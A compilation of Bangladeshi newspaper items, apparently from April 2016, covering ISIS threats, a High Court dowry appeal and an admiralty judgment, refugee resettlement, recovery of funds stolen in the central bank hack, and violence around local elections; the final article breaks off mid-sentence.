Obama's UK stay is part of a tour taking in Germany and Saudi Arabia, which he left on Thursday after having discussions with King Salman on issues including Iran, Syria, Yemen and the fight against so-called Islamic State militants.
ISIS poses deadly threat to US: Lawmaker

PTI, Washington :

The ISIS terror group poses an increasingly deadly threat to the US, its allies and global security, a top American lawmaker warned today.

"The alarming rise of Islamist extremists has spawned a deadly terror campaign across the globe. Sadly, we again have seen the resulting carnage recently in Brussels, Jerusalem, and Kabul. Our enemies are continuing to exploit growing instability and the retreat of American leadership," said Homeland Security Committee Chairman Michael McCaul as he release the latest monthly issue of Terror Threat Snapsot.

"ISIS poses an increasingly deadly threat to the United States, its allies, and global security," said the five page snapshot.

ISIS and its supporters have exploited sanctuaries across the Middle East and North Africa, the flow of nearly 40,000 terrorists into Syria, a massive refugee wave and security gaps to execute a terror campaign that includes 83 attack plots against Western targets since 2014, it said.
JESSORE: Bangladesh Hindu , Bouddha , Christian Students Jubo Oikkyo Parishad formed a human chain at Chaugacha Upazila protesting torture on minority community on Thursday.
A discussion meeting on the occassion of 7th founding anniversary of Gita Joyanti was held at Chittagong Press Club yesterday.
5 members of kidnapping gang held

CMP detained 5 members of a abduction gang from different city areas in separate drives on Thursday night.

Chittagong Bureau :

Chittagong Metropolitan Police forces detained 5 members of a abduction gang from different city areas in separate drives on Thursday night. These abductors were rounded from evening hours to midnight on Thursday.

The detained abductors area Mohim Azam chowdhury, Annayna Barua, Sumon gazi, Mizanur Rahman and his wife Jesmin Akhter Jui(20). Baizid thana officer incharge Md. Mohsin said these abducting gang aobducted one trader named Sohel from from GEC area on April 13 last.

Police sources said these abduction gang members picked up the trader from Baizid area in a autorickshaw and later confined in a abandotned house in GEC . The victim Sohel released from the custody of the abductors at midnight after paying cash 40 thousand taka and further commitment of paying Tk.40 thousand later thru' Bikash account. On April 18, Sohel lodged a abduction case before the Baizid thana , sources said.


Without date there can not be subsequent happenings

High Court Division :

(Criminal Revisional Jurisdiction)

ANM Bashir Ullah J

Anwar Hossain (Md) .............

........ . Accused-Petitioner

vs

State ..... Opposite Parties*

Judgment

January 23th, 2014.

Dowry Prohibition Act (XXXV of 1980)

Section 4

When the prosecution fails to prove the date of occurrence the question of proving the place and manner of occurrence cannot raise at all. There is strong link among the time, the place and manner of occurrence. Where there is no date of occurrence there cannot be any time, place and manner of occurrence. The Court below without proper appreciation of the evidence on record found the accused guilty under section 4 of the Act. .... (25)

Rafiqul Islam Sohel, Advocate-For the petitioner.

TM Shakil Hossain, Advocate-For the Opposite Party No.2

Md Ashaque Momin, AAG-For the State Opposite Party No.1.

Judgment

In this criminal revision, a Rule was issued calling upon the opposite parties to show cause as to why the judgment and order dated 24-5-2012 passed by the Metropolitan Additional Sessions Judge, 1st Court, Dhaka in Metropolitan Criminal Appeal No. 866 of 2011 allowing the appeal and reversing the judgment and order of acquittal dated 23-8-2011 passed by the Metropolitan Magistrate, Court No. 22, Dhaka, convicting the accused petitioner under section 4 of the Dowry Prohibition Act and sentencing him to suffer rigorous imprisonment for 4 years and to pay a fine of Taka 5,000 in default to suffer imprisonment for 1 month in CR case No. 3320 of 2008 should not be set aside and/or pass such other or further order or orders as to this court may seem fit and proper.

2. The facts leading to the issuance of the above Rule, in short, is that the present opposite party No. 2 Mosammat Razia Akter as complainant filed a petition of complaint in the Court of Chief Metropolitan Magistrate, Dhaka against the present petitioner Md Anowar Hossain and others alleging inter alia that she got married with the accused Md Anwar Hossain on 2-1-2007. At the time of marriage the accused has given cash of Taka 1,00,000 (one lakh), furniture at a worth of Taka 1,00,000 (one lakh) and gold ornaments at a weight of 10 voris on behalf of the guardians of the complainant but that could not satisfy the accused who raised his voice for Taka 3,00,000 (three lakhs) on 30-5-2008 in the house of the father of the complainant.

On 13-6-2008 the accused reiterating his earlier demand made serious pressure on the complainant for the said amount at his own residence and he with the help of other inmates of the house assaulted the complainant also.

On 25-7-2008 the complainant in order to save her life from the hands of the accused took shelter in the house of her cousin at Kallyanpur, Mirpur, Dhaka but the accused having been there on 25-7-2008 assaulted her in order to create more pressure for realization of the dowry amount.

3. On the basis of the above petition of complaint cognizance under section 4 of the Dowry Prohibition Act was taken against the accused Anwar Hossain and at trial charge was also framed under the said section of law to which he pleaded his not guilty and claimed to be tried. The prosecution examined 7 witnesses at trial who were cross-examined by the defence and the trial Court on consideration of evidence and other materials on record acquitted the accused from the charge levelled against him by his judgment dated 23-8-2011.

4. The complainant, as against the said judgment preferred the criminal appeal being No. 866 of 2011 in the Court of Metropolitan Sessions Judge, Dhaka and ultimately the appeal was heard by the Metropolitan Additional Sessions Judge, 1st Court, Dhaka who by his impugned judgment and order dated 24-5-2012 convicted the accused petitioner under section 4 of the Dowry Prohibition Act, 1980 sentencing him to suffer rigorous imprisonment for 4 years and to pay fine of Taka 5,000 in default to suffer a simple imprisonment for a further period of 1 month.

5. The convict-petitioner being aggrieved by and dissatisfied with the said judgment arid order of conviction and sentence moved this Court and obtained the present Rule. On the date of issuance of Rule, the petitioner was enlarged on bail for a period of 6 months subsequently the same was extended from time to time till now.

6. Mr Rafiqul Islam Sohel, the learned Advocate appearing for the petitioner sought to impeach the impugned judgment and the order of conviction and sentence of the appellate Court below on the following five folds grounds.

7. Firstly, he submits that though in the criminal appeal, the petitioner Anwar Hossain was respondent No. 1 but he was not notified of the appeal. The appeal was heard in violation of the mandatory provisions of section 422 of the Code of Criminal Procedure (in short, the Code) as such, the total judgment of the appellate Court below is bad and illegal in law.

8. Secondly, the complainant articulating 3 occasions of demanding of dowry to her filed this case and it has been stated in the petition of complaint that on 30-5-2008 the accused demanded dowry in the house of the complainant, on the 2nd occasion on 13-3-2008 the accused demanded dowry in his own house and in consequence of the total occurrence when the complainant took shelter in the house of her cousin at Kallyanpur, Mirpur, Dhaka the accused having been there assaulted the complainant on 25-7-2008.

The learned Advocate also submits that, infact, the complainant in order to invoke the jurisdiction of the Dhaka Court showed one of the place of occurrence at Dhaka stating that the consequence of the occurrence ensued at Dhaka but no occurrence took place within the local jurisdiction of Dhaka Metropolitan Magistracy and the prosecution though examined 7 witnesses in this case but no where in their evidence there is any statement that any occurrence took place within Dhaka in connection of the present case and in that view of the matter the trial by a Court of Dhaka Metropolitan Magistracy has become totally illegal.

9. Thirdly, the learned Advocate submits that though there appears 3(three) occasions of demanding dowry but the prosecution could not prove the demand of dowry to the accused on any date as alleged in the petition of complaint. So the appellate Court below had no any scope to find the petitioner guilty under section 4 of Dowry Prohibition Act.

(To be continued)

10. Fourthly, the learned Advocate submits that the last occurrence of this case allegedly took place on 25-7-2008 at Kallyanpur, Mirpur, Dhaka but Complaint was filed after a reasonable gap on 2-9-2008. So the complainant got ample opportunity to include all the relevant facts of the case in her allegations but the petition of complaint is totally silent in respect of any salish between the parties but the whole evidence is surrounded regarding a Salish between the parties. Infact, no such salish was taken place as stated by the witnesses at trial. The fact of salish is a subsequent embellishment which has been introduced in order to strengthen the prosecution case.

11. Lastly, and finally the learned Advocate submits that the appellate Court below was pleased to find that the prosecution could not prove the date of occurrence but at the same time came to a conclusion that prosecution was able to prove the place and the manner of occurrence. But where there is no any date of occurrence there cannot be any corresponding place and manner of occurrence. In fact, the trial Court on a proper assessment of the evidence on record acquitted the accused but the appellate Court below without considering the evidence and other materials on record very arbitrarily and whimsically found the accused guilty although there was no any evidence in the record of demanding of dowry to the accused. So, the judgment and order of conviction and sentence passed by the appellate Court below is liable to be set aside acquitting the accused from the charge.

12. On the other hand, Mr Md Ashaque Momin, the learned Assistant Attorney-General appearing for the opposite party No. I and Mr TM Shakil Hasan, the learned Advocate appearing for the opposite party No.2 almost in a chorus voice opposing the Rule submits that admittedly Most. Razia Akter was the married wife of accused Anwar Hossain and at the time of marriage in a very customary way the guardians of the complainant had expended a lot of money to satisfy the accused but he was so greedy that nothing was sufficient to satisfy his greed. As a result immediately after marriage the accused raised his voice for Taka 3,00,000 (three lakhs) as dowry and the accused was making continuous pressure for realisation of the said amount and the complainant categorically articulated the date of the said demand of dowry on 30-5-2008 and 13-6-2008 and the same has been proved by the cogent evidence of the prosecution witnesses and when the complainant in order to save her life from the physical and mental torture of the accused took shelter in the house of her cousin at Kallyanpur, Mirpur, Dhaka, the greedy accused also stormed on her on 25-7-2008 and assaulted her and since the consequence of the occurrence of this case had ensued at Dhaka, the case was well maintainable in the Court of Dhaka.

13. They next submit that the complainant when filed the appeal in the Court of Metropolitan Sessions Judge, Dhaka accused Anwar Hossain was made respondent No. I with the state in serial No.2 and the record will go to show that notice was served upon the respondent No. 1.

14. They also submit that when the accused demanded dowry to the complainant, the common relations of both the parties took some initiative for a reconcilation of them and at trial the witnesses who were present in the said salish stated the said fact before the trial Court. Since that is the matter of evidence which did not require to state in the petition of complaint and for non-mentioning about the salish, the accused had not been prejudiced in any way and for that reason the prosecution case cannot be disbelieved at all.

15. They also submit that the trial Court totally failed to appreciate the evidence on record and thereby committed serious error of law and fact in acquitting the accused from the charge but the appellate Court below on proper consideration of evidence and other materials on record came to a very sound conclusion finding the accused guilty under Section 4 of the Dowry Prohibition Act, 1980. So the judgment and order of conviction and sentence of the appellate Court below did not call for any interference from this Court. So the Rule is liable to be discharged with cost.

16. I have considered the above submissions and arguments of the learned Advocates of both the parties with profound attention and have gone through the materials on record.

17. It is admitted that complainant Most. Razia Akter was the married wife of accused Anwar Hossain which took place on 2-1-2007. In a revision under sections 435 and 439 of the Code the law empowers the revisional Court to examine the correctness, legality or propriety of any finding and sentence or order recorded by the appellate Court below.

18. The record of the criminal appeal No. 866 of 2011 goes to show that the appeal was filed on 12-10-2011 which was admitted by the appellate Court on 20-10-2011 fixing 1-3-2012 for LCR and SR. On the following date on 1-3-2012 a order has been recorded in the following manner:

19.A` LCR, SR cvIqv wMqvQ, AvcxjKvix cy nvwRiv w`qvQ| AvMvgx 16-5-2012 ZvwiL ibvbx| The record thus shows that the appeal became ready for hearing on 1-3-2012. On a meticulous perusal of the record there appears no issuance of the notice upon the respondent No.1. There is nothing in the record to show that any notice was served upon the respondent No. 1 Md Anwar Hossain and without issuance of any notice how the appellate Court below got the service return. However, it is evident from the materials on record that no notice was issued and served upon the respondent No. 1 Md Anwar Hossain in connection of the criminal appeal and without service of notice and informing him the appeal was heard in his absence and the judgment was pronounced on 24-5-2012. Section 422 of the Code provides the clear provisions of serving notice upon the accused in an appeal filed under Section 417 of the Code of Criminal Procedure. Most. Razia Akter preferred the criminal appeal against the order of acquittal invoking Section 417 of the Code but no notice was served in view of the provisions of Section 422 of the Code, thus, the appellate Court below committed a serious error of law hearing disposal of the appeal without notifying the accused respondent No. 1 Md Anwar Hossain.

20. The learned Advocate for the petitioner raised serious objection as to the jurisdiction of the Dhaka Metropolitan Magistrate Court in trying the case. Section 170(1) of the Code provides that every offence shall be inquired into and tried by a Court within the local limit of whose jurisdiction it was committed. That is where an offence is committed the same will be tried by a Court fixed for that jurisdiction. Of course Section 179 of the Code also provides that if in consequence of any occurrence is ensued to any other place, the case can be tried by the Court of that particular place. From the trend of petition of complaint it appears that the definite demanding of dowry took place in the house of complainant at Saturia Upazila, secondly in the house of the accused and consequence of the said occurrence allegedly took place at Mirpur in the house of the cousin of the complainant on 25-7-2008. In view of the above provisions of law had there been any occurrence on 25-7-2008 at Mirpur, the Dhaka Metropolitan Magistrate Court was justified to try the case. But on a meticulous perusal of the evidence on record there appears no evidence that any occurrence as alleged in the petition of complainant took place on 25-7-2008 in the house of the cousin of the complainant.

21. The complainant as PW I though uttered the date 25-7-2008 but the same has been uttered to serve other purpose. PW 1 stated that on 30-5-2008 and on 25-7-2008 the accused assaulted her at Kamarpara, Dhamrai in order to realize Taka 300,000 from her. PW 7 Md Abu Bakar Siddique who happens to be the cousin of the complainant and whose residence is at 1/5 Kallyanpur, Mirpur, stated that the complainant took shelter in his house. On going through the evidence of Abu Bakar Siddique it is found that there is nothing in his evidence that accused Anwar Hossain at any point of time rushed to his house inquest of Most. Razia Akter. Abu Bakar Siddique simply said that once Razia Akter came in his house and he took initiative for the treatment of Razia Akter but this evidence does not mean that the consequence of the occurrence of demanding dowry was ever ensued at his residence at Kallyanpur, Mirpur, Dhaka. So it is difficult to find that the Dhaka Metropolitan Magistrate Court had at all jurisdiction to try the case.

22. The learned Advocate for the petitioner argued that there was no evidence in support of the case of demanding dowry although the learned Advocate for the opposite parties submitted that immediate after marriage the accused was demanding dowry continuously. PW I Razia Akter in her evidence stated that the accused was demanding dowry from 2007 and on 30-5-2008 and 25-7-2008 the accused assaulted her at his residence at Dhamrai for Taka 3,00,000. PW 2, Abdul Alim deposed to prove a Salish. PW 3, Kabiluddin deposed to prove the quarrel and bad relation between the husband and wife. PW 4 Mostafa is a hearsay witness in respect of Salish. PW 5 Mojibar Rahman, the full brother of the complainant did not depose to support the definite date of demanding dowry by the accused to his sister. He stated that immediate after marriage, the accused raised his voice demanding dowry. PW 6, Mainuddin deposed to prove the Salish between the parties. PW 7, and the last witness Abu Bakar Siddique also a witness of demanding dowry continuously by the accused. He also failed to support the accurate date of demanding dowry on 30-5-2008 and 25-7-2008 as stated by the PWl. The prosecution though examined 7 witnesses but none of the witness among 2-7 have supported the evidence of PW I that on 30-5-2008 and 25-7-2008 accused demanded dowry to her in presence of any witness. So in view of the evidence given by the prosecution it is found that though the complainant as PW I had marked two days of demanding dowry but none of the remaining prosecution witnesses could have supported the said evidence of PW 1.

23. At trial most of the witnesses highlighted the salish between the parties. In many cases it has been held by this Court that the FIR cannot be treated as the first and last word of the prosecution case rather weight is to be given to the legal evidence adduced by a witness before the Court at the time of trial but in the case of 45 DLR 142 Nazrul Islam vs State it has been held that where FIR does not contain an important fact deposed by the witnesses it is clear that there has been subsequent embellishment of the prosecution case which make it untrustworthy.

24. The last occurrence of the case took place allegedly on 25-7-2008 whereas the petition of complainant was filed on 2-9-2008. The complainant got more than clear one month time to lodge the petition of complaint as such she had the ample opportunity to include the fact of salish reportedly taken between them but the well drafted petition of complaint is totally silent regarding the salish between the parties. In my consideration had there been any occurrence of salish on the burning issue of demanding dowry between the parties that could have been found place in the petition of complaint. The appellate Court below in his judgment opined that the event of Salish is a matter of evidence which need not be required to state in the petition of complaint but this findings of the appellate court below cannot be considered as legal and fair. The manner of salish or the other particulars about the same need not be required to state in the petition of complaint but the so called salish is an important fact between the parties on the burning question of demanding dowry, that should have been found place in the petition of complaint. Since that did not find place in the petition of complaint, the obvious decision would be that infact there was no any such Salish between the parties and had there been any Salish that would have been revealed in the petition of complaint and the very introduction of Salish appears to be a subsequent embellishment which has been introduced in order to strengthen the prosecution case.

25. Now, the last argument of the learned Advocate for the petitioner in respect of the judgment of the appellate Court below that the appellate Court below rightly found that the prosecution could not prove the date of occurrence although at the same time found that the prosecution has been able to prove the place and manner of occurrence. When the prosecution fails to prove the date of occurrence the question of proving the place and manner of occurrence cannot raise at all. There is strong link among the time, the place and manner of occurrence. Where there is no date of occurrence there cannot be any time, place and manner of occurrence. The appellate Court below without proper appreciation of the evidence on record found the accused guilty under Section 4 of the Dowry Prohibition Act.

26. Having regards to the above discussion find that the disposal of the appeal without notifying the respondent No. 1 Anwar Hossain was illegal. On that count and also for the other reasons stated herein above the judgment of the appellate Court below has been suffering from gross illegality which cannot be maintained at all.

27. In the result, the Rule is made absolute.

The judgment and order of conviction and sentence passed by the appellate Court below in criminal appeal No. 866 of 2011 is hereby set aside and the convict-petitioner is acquitted of the charge levelled against him.

Let a copy of the judgment be sent to the concerned Court along with the lower Court's record.




Court of Admiralty enjoys jurisdiction over the ship and property thereto

(From previous issue) :

18. Sub-section (3) of Section 4 provides that where the amount claimed relates to any ship, aircraft or any other property over which there is maritime lien or other charge, the Admiralty Jurisdiction of the High Court Division as the Court of Admiralty may be exercised through an action in rem against that ship, aircraft or property.

19. Sub-section (4) of Section 4 provides that in relation to claims as mentioned in clauses-(Ga) to (Tha) of sub-section (2) of Section 3 relating to any ship, the person who would be liable for the claim in an action in personam was, when the cause of action arose, as the owner or charterer of, or person in possession or in control of, the ship, whether the claim gives rise to a maritime lien on the ship or not an action in rem can be brought in the Admiralty Jurisdiction of the High Court Division as the Court of Admiralty against the following ships, namely, (a) if at the time when action is brought, the person has beneficial ownership over all the shares of the ship; or (b) if at the time when action is brought, any other ship is under the beneficial ownership of the said person.

20. sub-section (6) of Section 4 of the Admiralty Court Act provides that notwithstanding anything contained in the preceding clauses of the section, an action in rem shall not be brought in the admiralty jurisdiction of the High Court Division as the Court of Admiralty for any claim mentioned in clause(dha) of subsection(2) of section 3 unless the claim relates wholly or partly to wages.

21. Clause-(Tha) of sub-section(2) of Section 3 provides for any claim in respect of the goods or materials supplied to a ship for her operation or maintenance. Clause-(Da) of subsection (2) of Section 3 provides for any claim in respect of construction, repair or equipment of a ship or dock charges or dues. Clause-(Dha) of sub-section (2) of Section 3 provides for any claim for wages of a master or member of the crew of a ship or any claim for any money or property recoverable as wages of master or member of the crew under the Merchant Shipping Ordinance,1983.

22. Having gone through Section 4 of the Admiralty Court Act, in general, and clauses(Tha), (Da) and (Dha) of sub-section (2) of section 3 and sub-section (6) of section 4 thereof, in particular, we find that the appellant is entitled to recover his claim in respect of clause-(dha) of sub-section (2) of Section 3 according to the provision of sub-section(6) of section 4 of the Admiralty Court Act for realization of the wages of the crew. The claim of the appellant, however, does not come within the purview of sub-section (2), sub-section (3) and clause (a) of sub-section (4) of section 4 of the Admiralty Court Act.

23. Therefore, the plaintiff is entitled to bring a proceeding as an action in rem under Section 4(6) of the Admiralty Court Act, 2000 for realization of wages of the crews as mentiored in clause (dha) of sub-section (2) of section 3 against defendant No. I, the Vessel and its owner, defendant No.3, although the plaintiff-appellant has not entered into any contract with defendant No.3.

It is of course true that there was no contract between the plaintiff-appellant and defendant-respondent No.3 even then the plaintiff-appellant can sue the ship (defendant respondent No.1) and the owner of the ship (defendant-respondent No.3) in an action in rem for realization of its dues in respect of

wages of the crews above according to section 4 (6) of the Admiralty Act, 2000.

24. Respondent Nos. l and 2 filed an additional paper-book stating that the plaintiff-appellant company, Kyung Hae Maritime Co. Ltd., had been dissolved in December, 2014. In support of their contention, the respondents filed an electronic copy of the plaintiff company, Kyung Hae Maritime Co. Ltd's Corporate Registry Certificate as well as its English translation. The appellant filed an additional paperbook dated 23-8-2015 stating that although the company was dissolved in December, 2014, subsequently, the same was reinstated by resolution of the share holders on 13th July, 2015 under article 520(2)(3) of the Commercial Act of Korea. In support of its contention, the appellant filed the minutes of the Extraordinary General Meeting of its share holders which is supported by a notarial certificate dated 30-7-2015. Therefore, we are of the view that the company is in existence which has the authority to proceed with this appeal.

25. The plaintiff-appellant is entitled to recover the amount spent on account of wages of the crew. The amount spent for the payment of wages of crew is as follows:

Wages of the crew US $ 3,35,585.69 (at the relevant time US$l=Taka 69.35)

26. The detailed calculation of the amount spent by the plaintiff-appellant on the head of wages of crew appears to be correct.

27. In the light of the findings, we find substance in this appeal. Accordingly, the Admiralty Suit is decreed in part for US. $ 3,35,585.69 (at the relevant time 1 US $ equivalent to Taka 69.35) against defendant Nos. 1, 2 and 3.

Accordingly, the appeal is allowed in part.

There is no order as to costs.

(Concluded)
Amu condoles death of Jhalakathi AL leader

BSS, Dhaka :

Industries Minister Amir Hossain Amu on Saturday condoled the death of Dr Alamgir Hossain, health affairs secretary of Nalchity upazila Awami League in Jhalakathi.

Amu, who is now visiting Canada, in a condolence message said, Alamgir was a genuine friend of Nalchity and its people.

"He played a major role in providing health services to poor and underprivileged people in the locality. The upazila has lost a dedicated social activist in the untimely death of Alamgir," the message said.

The minister also conveyed his deep sympathy to the members of the bereaved family and prayed for the salvation of his departed soul.


UNDP Regional Director Xu due today

Haoliang Xu

UNB, Dhaka :

Haoliang Xu, United Nations Assistant Secretary-General and Director, UNDP Regional Bureau for Asia and the Pacific, arrives here on Saturday on a four-day visit.

His visit marks the celebrations of the 50th anniversary of UNDP around the world and builds on over 40 years of UNDP support to Bangladesh. This is Xu's third visit to Bangladesh and the UNDP is looking towards a more strategic partnership with Bangladesh as it rapidly emerges as a middle-income country, said a media release on Friday. During his visit, Xu will attend the regional launching event of the Asia Pacific Human Development Report 2016 on April 26. He is scheduled to meet Information Minister Hasanul Haq Inu, Principal Secretary to the Prime Minister Md Abul Kalam Azad and other high-profile UNDP partners.

In his capacity as Chair of the United Nations Development Group Asia-Pacific, Xu will be exploring how the UN in Bangladesh can best align its new development assistance framework with the Government's seventh five year development plan - both of which will end as the nation reaches 50 years of independence in 2021.
UK to take in up to 3,000 vulnerable child refugees

Independent :The UK is to take in up to 3,000 more child refugees after months of calls to help the youngest and most vulnerable migrants risking their lives to reach safety.The Government hailed the programme, which will come on top of a previous pledge to welcome 20,000 Syrians, as one of the world's largest resettlement programme for children on Thursday. A spokesperson for the Home Office said the new scheme would see "at risk" children from the Middle East and North Africa selected based on advice from the United Nations High Commissioner for Refugees (UNHCR). Several hundred children are due to be resettled over the next year, with the upper threshold of 3,000 due to be reached by the next general election in 2020. Unaccompanied children are expected to be targeted but the figure includes adult relatives of some accompanied minors, who the Home Office said would be chosen in cases "where the UNHCR deems resettlement is in the best interests of the child". "On the UNHCR's recommendation, the scheme will not solely target unaccompanied children, but will also extend to vulnerable 'children at risk', such as those threatened with child labour, child marriage and other forms of abuse or exploitation," a spokesperson said. Unlike previous British and European initiatives, the scheme is open to refugees of all nationalities, but it excludes those who have already reached Europe. The caveat will come as a disappointment to charities and MPs who have been campaigning for months for the UK to take in children who have already risked their lives in boat crossings to reach the continent. MPs on the International Development Committee (IDC) approved the move earlier this year following warnings from humanitarian organisations that thousands of unaccompanied children were left vulnerable to exploitation and violence while living in appalling conditions.An amendment to the Immigration Bill to let 3,000 refugee children already in Europe come to Britain was adopted in the House of Lords last month. The changes are due to be considered by the House of Commons on Monday. Save the Children said 3,000 unaccompanied minors would represent Britain's "fair share" of more than 26,000 estimated to have entered Europe. The Refugee Council council said the latest plan was "not good enough" when borders remain closed to refugees and drownings continue in the Mediterranean and Aegean seas. Maurice Wren, the charity's chief executive, said: "This announcement is life-changing, if not life-saving news for the small group of children and their families who will benefit. "However, it's also grim news for the majority of other refugees who are desperately trying to escape conflict and persecution who the Government is try to contain in Turkey and other, poorer countries. "It's not good enough to offer a lifeline to one group of refugees while colluding to close off the escape routes of everyone else -all refugees need to be able to reach a place of safety." James Brokenshire, the immigration minister, said the Government was committed to helping vulnerable children who had been "unjustly impacted" by the humanitarian crisis. "We have always been clear that the vast majority of vulnerable children are better off remaining in host countries in the region so they can be reunited with surviving family members," he added. "However, there are exceptional circumstances in which it is in a child's best interests to be resettled in the UK. "We have engaged with a number of NGOs, including the UNHCR on the best way to provide protection to refugee children and ensure their welfare and safety remain at the heart of every decision made."The inclusion of refugee camps in North Africa is notable, as the region is the departure point for refugees fleeing war and persecution in Nigeria, Gambia, Senegal, Mali and other African nations who have been excluded by previous schemes. Gonzalo Vargas Llosa, the UNHCR's representative to the UK, welcomed the programme, which comes as refugees continue to be detained and deported from Greece, where the British Government is supporting the controversial EU-Turkey migration agreement. The UK is offering an extra 75 staff to help with processing and administration in detention centres and has also launched a 10 million Refugee Children Fund to support the UN and humanitarian organisations.
ISIS execute 250 women in Mosul for refusing to become sex slaves

Mail Online :

ISIS has executed 250 women in Mosul for refusing to become sex slaves under the group's 'sexual jihad'.

The victims had all been ordered to accept 'temporary marriages' to fighters in the terror group's northern Iraq stronghold.

Said Mamuzini told the AhlulBayt news agency that 'at least 250' have so far been executed by ISIS in the city 'for refusing to accept the practice of sexual jihad, and sometimes the families of the girls were also executed for rejecting to submit to IS's request.' Another official, from the Patriotic Union of Kurdistan, claimed women were barred from going out alone in Mosul and must be fully covered while in public.

They are also not allowed to choose their spouses, Ghayas Surchi told the news agency.

Mosul has been under the extremists' control since 2014. News of the executions comes as Turkey revealed it had killed 32 suspected ISIS fighters close to the city near the Bashiqa military camp. In December, Turkey said it had sent hundreds of troops to Bashiqa to protect Turkish military personnel involved in training Iraqi fighters, sparking a diplomatic row with Baghdad. At the time, a senior Turkish official said up to 300 soldiers and 20 tanks were deployed there, although an unspecified number were pulled back following US pressure to end the row with Baghdad.

The same month, ISIS militants attacked the camp, wounding four soldiers, and tried again in January although the Turkish military repelled them, with Ankara claiming 18 ISIS jihadists were killed. Baghdad flatly denied the claim. Turkey says its troops are training Iraqi forces to fight ISIS extremists but Baghdad has accused Ankara of using training as a pretext to increase its influence in northern Iraq.

In October it was revealed that more than 500 Yazidi women and young girls were abducted by ISIS fighters when they stormed the Sinjar region - also in northern Iraq - in August 2014 and slaughtered more than 5,000 of their men. Dozens have been driven to suicide by the fighters who abused them, according to the people risking their own lives to rescue them.


BD envoy to Philippines fears delay in recovery of stolen $81m

My Informs.com :

Bangladesh is worried that the return of $81 million stolen by hackers from its central bank-or at least the initial tranches so far recovered from various parties in the Philippines-may be delayed.

Bangladesh Ambassador to the Philippines John Gomes said he was hoping that by April or May, before the next President would assume office, the money could be returned since most of the funds had already been accounted for. Bangladesh is also concerned about the transfer of

the money so far collected by the Anti-Money Laundering Council (AMLC), which will have to go through the process of forfeiture through the court.

"We don't want delays that can be avoided keeping into consideration the legal process of the 'forfeiture case.' We are in contact with the Department of Justice (DOJ) and grateful to the justice secretary to provide us any legal advice and in this respect we are closely working with the DOJ," Gomes said.

He noted that the Bangladesh Embassy would be submitting papers to formally claim the surrendered and confiscated amount as well as the balance. "On the forfeiture case, I was told that it can be summarily disposed if there's no other claimant," Gomes said, adding that naturally, no one would come forward because it had been established that this was part of the money stolen by hackers from the central bank of Bangladesh.

The IP address of the hackers was traced to Cairo, Egypt.

On the basis of the United Nations Conventions against Transnational Organized Crime, the DOJ is the one representing the government of Bangladesh in the local forfeiture case. "This is fine," Gomes said, adding that whatever amount is collected would hopefully be sent this month to Bangladesh.

Gomes appealed to various players involved, including the casinos and remittance firm Philrem Service, to return whatever money was still left with them. In the case of casinos, he noted that these had already made a profit out of the dirty money that was used to play on their gaming tables.

"Since they already made the profit out of the money which doesn't belong to them, they should return the whole amount," he said. For instance, he noted the P107 million that was confiscated in Solaire and another P903 million in the hands of Macau-based casino operator Sun City.
3rd phase UP polls today

Candidates, voters fear of more violences: 2 killed

Joynal Abedin Khan :Breaching of electoral code of conduct and spates of violence continue in different districts, leaving two persons dead, as the third phase of Union Parishad (UP) polls starts today (Saturday). Elections to 620 UPs in 48 districts will take place without any break from 8:00am to 4:00pm. Meanwhile, campaigns for all chairman, general and reserved seat candidates ended at midnight on Thursday.The government has declared public holiday in the election areas on the day of polling. Ban on traffic movement excluding the vehicles having stickers of the Election Commission (EC) has been imposed in the areas.More than 19 million voters are expected to cast their votes in the third phase elections. A total of 2,992 chairmen, 6,298 female members (reserve) and 20,943 members are contesting in the third phase polls. Of them, 1,543 candidates are nominated by 14 political parties, including Awami League, BNP, Jatiya Party, Jatiya Samajtantrik Dak (JSD), Workers Party, Islami Andalon, National Peoples Party and Khelafat Majlish.The Awami League has thrown in 639 chairman candidates, the BNP 539, the Jatiya Party 167, the JSD 26, the Workers Party 12, Islami Andalon 92, National Peoples Party 3 and Khelafat Majlish 2. There are also 1,185 independent chairman aspirants. Ruling party's 25 chairman, 79 female and 179 male member candidates have already been elected uncontested in this phase. Over 100,000 election officials and around 150,000 members of different law enforcing agencies will be on duty on elections day, EC officials said. Members of law enforcement agencies, including police, Rapid Action Battalion (RAB) and Border Guard Bangladesh (BGB) are working in the field. All election materials, including ballot papers and boxes, have reached the polling centers, said the officials.Besides, the judicial and executive magistrates will do their duties to help ensure fair polls.Amid criticisms, the EC has urged the law enforcing agencies to take effective steps against violence.Chief Election Commissioner (CEC) Kazi Rakibuddin Ahmad said, "The UP election is always troublesome. Violence always occurs due to party feuds and polls-related reasons. But we'll take stern action to prevent this." The EC received an assurance from the Awami League Chief and Prime Minister Sheikh Hasina in a message on Thursday that her party wanted fair polls.Following her instructions, ruling party Joint General Secretary Mahbub-Ul-Alam Hanif also asked the EC to take legal steps against any of their leaders or activists if found involved in acts of indiscipline. The Commission has also asked, for the sake of fair polls, Awami League leaders and activists 'not to cross limits'.Meanwhile, the EC has withdrawn the Superintendent of Police (SP) of Gazipur and two Officers-in-Charge (OCs) of Kapasia and Sreepur police stations of the district.The are SP Harun-Ar-Rashid, and Kapasia OC Mir Rakibul Haque and Sreepur OC Asaduzzaman. In Rangpur, a man was killed and 15 other also injured in election violence in Kafrikhal UP under Mithapukur upazila in Rangpur district on Thursday night. The victim has been identified as Abdul Hannan, 35, said Md Mohidul Islam, Inspector (Investigation)of Mithapukur Police Station. In Gazipur, member aspirant AL leader Akhter Khandaker, 45, was hacked to death around 10:00pm on Tuesday, reports our correspondent. Police and witnesses said Akhter was returning to his house on a motorcycle when miscreants stopped him, indiscriminately chopped him and left him dead on the spot, said Asaduzzaman, OC of Sreepur police. In Chittagong, Fatikchhari upazila unit BNP convener at a press conference yesterday alleged that AL men were threatening their candidates and obstructing them from electioneering.In Nilphamari, tension prevails at Dimla upazila as AL and JP came face to face over elections to seven UPs. Both groups are verbally attacking each other, triggering fears among locals of deadly clashes anytime, reports our correspondent.In Bogra, a mobile court fined two chairman aspirants of Gosaibari UP under Dhunat upazila.In Munshiganj, allegations are raised against a member aspirant of Haldia UP under Louhajang upazila that he is running campaign with live 'hen', his election symbol, violating the electoral code. Contacted, EC Secretariat Deputy Director Shamsul Alam, said "The law enforcers are active in the field since two days before the polls. They have been directed to maintain the highest caution to prevent violence."The EC has directed the outsiders to leave the poll areas to avert any situations during the election, he said. The EC has a plan to arrange elections to 4,275 UPs out of the country's 4,546 ones in six phases being held along political party lines for the first time. The fourth phase will start on May 7 in 728 UPs, while the fifth on May 28 in 714 UPs, and the sixth phase on June 4 in 660 Ups.Earlier, polls to 1,364 UPs were held in two phases on March 22 and March 31. Both the phases witnessed widespread violence and irregularities that left at least 35 people dead and more than 1,000 